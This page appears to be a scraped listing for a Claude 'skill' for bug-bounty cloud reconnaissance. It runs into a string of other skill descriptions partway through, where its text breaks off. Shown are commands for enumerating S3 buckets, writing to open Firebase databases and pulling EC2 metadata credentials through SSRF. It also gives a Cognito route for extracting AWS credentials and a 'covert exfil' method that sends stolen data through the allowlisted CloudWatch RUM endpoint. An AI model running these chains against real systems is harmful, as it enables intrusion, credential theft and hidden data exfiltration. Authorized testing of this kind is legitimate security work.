hunt-cloud-misconfig
hunt-cloud-misconfig identifies public and misconfigured cloud infrastructure across AWS, GCP, and Azure. It detects exposed S3 buckets, permissive IAM policies, accessible metadata endpoints, public serverless functions, and leaked credentials in JavaScript bundles through targeted reconnaissance and certificate transparency analysis. Use this skill when auditing cloud-native storage, compute services, and infrastructure-as-code deployments for anonymous access and privilege escalation paths.
git clone --depth 1 https://github.com/elementalsouls/Claude-BugHunter /tmp/hunt-cloud-misconfig && cp -r /tmp/hunt-cloud-misconfig/skills/hunt-cloud-misconfig ~/.claude/skills/hunt-cloud-misconfigSKILL.md
## 16. CLOUD / INFRA MISCONFIGS
### S3 / GCS / Azure Blob
```bash
# S3 listing
curl -s "https://TARGET-NAME.s3.amazonaws.com/?max-keys=10"
aws s3 ls s3://target-bucket-name --no-sign-request
# Try common bucket names
for name in target target-backup target-assets target-prod target-staging; do
curl -s -o /dev/null -w "$name: %{http_code}\n" "https://$name.s3.amazonaws.com/"
done
# Firebase open rules
curl -s "https://TARGET-APP.firebaseio.com/.json" # read
curl -s -X PUT "https://TARGET-APP.firebaseio.com/test.json" -d '"pwned"' # write
```
### EC2 Metadata (via SSRF)
```bash
http://169.254.169.254/latest/meta-data/iam/security-credentials/ # role name
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME # keys
```
### Exposed Admin Panels
```
/jenkins /grafana /kibana /elasticsearch /swagger-ui.html
/phpMyAdmin /.env /config.json /api-docs /server-status
```
---
### Jenkins SSO-restriction failure → Script Console RCE
An exposed Jenkins that authenticates ANY personal Google/OAuth account (missing org-domain restriction) is full compromise: log in, then `/script` (Groovy console) = RCE, and `/credentials` + `/scriptText` = stored API tokens and source disclosure. Disclosed: reports/231460.
### Exposed message broker (RabbitMQ / AMQP) with default creds
Probe RabbitMQ management (`http://TARGET:15672/`, API `:15672/api/overview`) and AMQP `:5672`; try default `guest:guest` (works off-localhost when `loopback_users` is misconfigured) → queue/message read, vhost enumeration, management-plugin admin. Disclosed: reports/753602.
## Local-verification toolchain
For testing cloud-misconfig findings against a local AWS sim before/instead of hitting real cloud:
```bash
# LocalStack 3.0 community (pin the version — 4.x requires a Pro license)
docker run -d --name lab-localstack -p 14566:4566 localstack/localstack:3.0
# awscli ≥ 2.30 + LocalStack 3.0 incompatibility workaround (x-amz-trailer header):
export AWS_REQUEST_CHECKSUM_CALCULATION=when_required
export AWS_RESPONSE_CHECKSUM_VALIDATION=when_required
export AWS_ENDPOINT_URL=http://localhost:14566
export AWS_ACCESS_KEY_ID=test AWS_SECRET_ACCESS_KEY=test AWS_DEFAULT_REGION=us-east-1
```
Without those env vars, `aws s3 cp/sync` fails with `InvalidRequest`. Document this for the team. See `docs/verification/phase2j-cloud-localstack.md` for the full reproducible flow.
---
## CloudWatch RUM Weaponization (2024-2026 surface)
AWS CloudWatch RUM (Real-User Monitoring) is a client-side telemetry service launched late 2021. Customers embed a JS snippet on their pages that sends performance/error events to `dataplane.rum.<region>.amazonaws.com`. The snippet's `AppMonitor` config contains an `identityPoolId` (Cognito) and `guestRoleArn` (IAM role) — both **public by design**. The IAM role policy is the security boundary, and when developers leave it broader than the documented minimum (`rum:PutRumEvents` on the AppMonitor ARN), the entire pool becomes the unauthenticated AWS-credential vending machine described in `cloud-iam-deep` → Cognito Identity Pool chain.
### Detection — JS bundle fingerprints
**Snippet-style (most common, embedded in `<head>`):**
```javascript
(function(n,i,v,r,s,c,x,z){...})(
'cwr',
'00000000-0000-0000-0000-000000000000', // applicationId (UUID)
'1.0.0',
'us-east-1',
'https://client.rum.us-east-1.amazonaws.com/1.x/cwr.js',
{
sessionSampleRate: 1,
guestRoleArn: "arn:aws:iam::123456789012:role/RUM-Monitor-...-Unauth",
identityPoolId: "us-east-1:abcd1234-...",
endpoint: "https://dataplane.rum.us-east-1.amazonaws.com",
telemetries: ["errors","performance","http"]
}
);
```
**NPM-style (aws-rum-web package):**
```javascript
import { AwsRum, AwsRumConfig } from 'aws-rum-web';
const config: AwsRumConfig = { identityPoolId, endpoint, guestRoleArn, ... };
const awsRum = new AwsRum(APPLICATION_ID, '1.0.0', AWS_REGION, config);
```
### Regex set for recon
```bash
# Detect RUM init
grep -REn "cwr\(['\"]init['\"]|from\s+['\"]aws-rum-web['\"]|new\s+AwsRum\(" .
# Extract applicationId (UUID v4)
grep -ErohE "applicationId['\"]?\s*[:=]\s*['\"]([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})['\"]" .
# Extract identityPoolId (region:UUID)
grep -ErohE "identityPoolId['\"]?\s*[:=]\s*['\"]([a-z]{2}-[a-z]+-[0-9]+:[0-9a-f-]{36})['\"]" .
# Extract guestRoleArn (leaks AWS account ID + role name)
grep -ErohE "guestRoleArn['\"]?\s*[:=]\s*['\"]arn:aws:iam::[0-9]{12}:role/[A-Za-z0-9._/-]+['\"]" .
# Endpoint reveals region
grep -ErohE "dataplane\.rum\.[a-z0-9-]+\.amazonaws\.com" .
```
### Attack chains
**Chain A — Credential extraction (Critical when guestRole is over-permissioned).** Once `identityPoolId` is extracted from the page, anyone runs:
```bash
aws cognito-identity get-id \
--identity-pool-id "us-east-1:abcd1234-..." \
--region us-east-1 --no-sign-request
aws cognito-identity get-credentials-for-identity \
--identity-id "us-east-1:<returned-uuid>" \
--region us-east-1 --no-sign-request
# → STS creds; export and:
aws sts get-caller-identity # confirm role
aws s3 ls; aws dynamodb list-tables; aws lambda list-functions; aws ssm describe-parameters; aws secretsmanager list-secrets
# Automate: pacu / enumerate-iam.py
```
Full chain documented in `cloud-iam-deep` → Cognito Identity Pool unauthenticated chain. RUM is one common embedding context.
**Chain B — Telemetry endpoint covert exfil.** `dataplane.rum.<region>.amazonaws.com` is an **AWS-owned domain on every enterprise allowlist**. The `PutRumEvents` payload accepts arbitrary `userDetails` and `customEvents` string fields:
```bash
aws rum put-rum-events \
--id $(uuidgen) \
--app-monitor-details '{"id":"<appId>","version":"1.0.0"}' \
--user-details '{"userId":"EXFIL_PAYLOAD_HERE","sessionId":"<session>"}' \
--rum-events '[{"id":"'$(uuidgen)'","timestamp":'$(date +%s)',"type":"com.amazon.rum.custom_event","details":"{\"exfil\":\"<base64 of stolenEnd-to-end Android APK red-team pipeline — automated APK acquisition (Play Store + apkpure + apkmirror fallback), jadx decompilation, secret/URL/JWT/Firebase grep, pinned-cert extraction, exported-component enumeration, Frida runtime instrumentation templates, intent-injection probes. Built from an authorized external red-team engagement where 7 APKs were pulled manually, 4 download attempts truncated, and a hardcoded JWT + 30 internal API endpoints were recovered from one of the apps. Use when target has a mobile app catalogue (Play Store developer page), when you find an APK URL hosted on a web server, or when post-recon mentions "mobile app" in scope.
Run autonomous hunt loop on a target — scope check → recon → rank surface → hunt → validate → report with configurable checkpoints. Usage: /autopilot target.com [--paranoid|--normal|--yolo]
Local-tooling companion to the bug-bounty orchestrator — carries the SAME complete bug-bounty workflow, but reach for THIS variant when you also need to resolve where tools, wordlists, and clones are installed on the local machine (jhaddix, SecLists, trufflehog, ffuf, dalfox, ghauri); for pure orchestration/routing use the bug-bounty skill. Workflow it covers — recon (subdomain enumeration, asset discovery, fingerprinting, HackerOne scope, source code audit), pre-hunt learning (disclosed reports, tech stack research, mind maps, threat modeling), vulnerability hunting (IDOR, SSRF, XSS, auth bypass, CSRF, race conditions, SQLi, XXE, file upload, business logic, GraphQL, HTTP smuggling, cache poisoning, OAuth, timing side-channels, OIDC, SSTI, subdomain takeover, cloud misconfig, ATO chains, agentic AI), LLM/AI security testing (chatbot IDOR, prompt injection, indirect injection, ASCII smuggling, exfil channels, RCE via code tools, system prompt extraction, ASI01-ASI10), A-to-B bug chaining (IDOR→auth bypass, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth), bypass tables (SSRF IP bypass, open redirect bypass, file upload bypass), language-specific grep (JS prototype pollution, Python pickle, PHP type juggling, Go template.HTML, Ruby YAML.load, Rust unwrap), and reporting (7-Question Gate, 4 validation gates, human-tone writing, templates by vuln class, CVSS 3.1, PoC generation, always-rejected list, conditional chain table, submission checklist). Use when you need the local install path of a tool / wordlist / clone for a hunt, or as the full-workflow variant when operating from this local toolkit; for general routing use the bug-bounty skill. 中文触发词：漏洞赏金、安全测试、渗透测试、漏洞挖掘、信息收集、子域名枚举、XSS测试、SQL注入、SSRF、安全审计、漏洞报告
Use at the START of any bug bounty hunting session, when switching targets, or when feeling lost about what to do next. Master orchestrator that combines the 5-phase non-linear hunting workflow with the critical thinking framework (developer psychology, anomaly detection, What-If experiments). Routes to all other skills based on current hunting phase. Also use when asking "what should I do next" or "where am I in the process.
Complete bug bounty workflow — recon (subdomain enumeration, asset discovery, fingerprinting, HackerOne scope, source code audit), pre-hunt learning (disclosed reports, tech stack research, mind maps, threat modeling), vulnerability hunting (IDOR, SSRF, XSS, auth bypass, CSRF, race conditions, SQLi, XXE, file upload, business logic, GraphQL, HTTP smuggling, cache poisoning, OAuth, timing side-channels, OIDC, SSTI, subdomain takeover, cloud misconfig, ATO chains, agentic AI), LLM/AI security testing (chatbot IDOR, prompt injection, indirect injection, ASCII smuggling, exfil channels, RCE via code tools, system prompt extraction, ASI01-ASI10), A-to-B bug chaining (IDOR→auth bypass, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth), bypass tables (SSRF IP bypass, open redirect bypass, file upload bypass), language-specific grep (JS prototype pollution, Python pickle, PHP type juggling, Go template.HTML, Ruby YAML.load, Rust unwrap), and reporting (7-Question Gate, 4 validation gates, human-tone writing, templates by vuln class, CVSS 3.1, PoC generation, always-rejected list, conditional chain table, submission checklist). Use for ANY bug bounty task — starting a new target, doing recon, hunting specific vulns, auditing source code, testing AI features, validating findings, or writing reports. 中文触发词：漏洞赏金、安全测试、渗透测试、漏洞挖掘、信息收集、子域名枚举、XSS测试、SQL注入、SSRF、安全审计、漏洞报告
Bugcrowd-specific reporting tactics complementing report-writing: VRT category search-and-fallback strategy when no exact match exists, manual severity override when VRT defaults underrate impact, severity-request paragraph as first body section, OOS-clause rebuttal templates (rate limiting on auth-flow endpoints, debug-info framing, user-enumeration with sensitive PII, theoretical-issue counter), chained-finding cross-reference patterns, target selection for QA-vs-prod programs, researcher-side hygiene (Bugcrowdninja email alias, account state restoration, friendly-tester posture). Use when filing a Bugcrowd submission, when VRT default seems wrong, when triager closes as OOS or downgrades severity, when chaining linked submissions, or when scope distinguishes production from QA. Pairs with report-writing and triage-validation.
Build an exploit chain — given bug A, finds B and C to combine for higher severity and payout. Knows common chain patterns: IDOR→ATO, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth. Usage: /chain
Cloud IAM red-team attack chain across AWS, Azure, GCP — focused on EXTERNAL exploitation paths and post-credential-discovery privilege analysis. Covers IAM enumeration (aws iam, az role, gcloud iam), STS/AssumeRole chaining, Azure Managed Identity abuse (via SSRF/leak), GCP service account JSON abuse, IMDSv1/v2 attacks via SSRF, K8s ServiceAccount token privilege analysis once held (token discovery / cluster exposure is owned by hunt-k8s), role-trust-policy confused-deputy, cross-account assume-role enumeration, IAM privilege escalation patterns (24+ AWS, 8+ Azure, 6+ GCP), and AWS Cognito Identity Pool unauthenticated-role attack chain (GetId → GetCredentialsForIdentity → IAM role abuse). Built for the case where recon yields a credential (key, JSON, token) and you need to know what it grants and how to escalate. Use when an AWS key / Azure secret / GCP service account JSON / K8s SA token surfaces from a code repo, JS bundle, APK, breach corpus, or SSRF chain.